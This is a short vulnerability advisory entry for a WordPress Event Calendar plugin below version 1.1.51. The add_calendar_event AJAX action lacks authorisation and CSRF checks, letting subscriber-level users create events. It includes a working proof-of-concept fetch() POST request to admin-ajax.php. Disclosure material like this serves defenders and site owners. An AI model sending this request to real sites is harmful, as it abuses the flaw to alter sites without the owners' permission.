Lucene search

K
wpexploitKrzysztof ZającWPEX-ID:24FB4EB4-9FE1-4433-8844-8904EAF13C0E
HistoryDec 20, 2021 - 12:00 a.m.

Event Calendar < 1.1.51 - Subscriber+ Event Creation

2021-12-2000:00:00
Krzysztof Zając
62

0.001 Low

EPSS

Percentile

21.3%

The plugin does not have proper authorisation and CSRF checks in the add_calendar_event AJAX actions, allowing users with a role as low as subscriber to create events

Adding calendar events:
fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": new URLSearchParams({"action": "add_calendar_event", "ecwd_calendar_id": 4, "ecwd_event_name": "An opening", "ecwd_date_from": "2021/11/01", "ecwd_date_to": "2022/11/01"}),
  "method": "POST",
  "credentials": "include"
})
  .then(response => response.text())
  .then(data => console.log(data));

0.001 Low

EPSS

Percentile

21.3%

Related for WPEX-ID:24FB4EB4-9FE1-4433-8844-8904EAF13C0E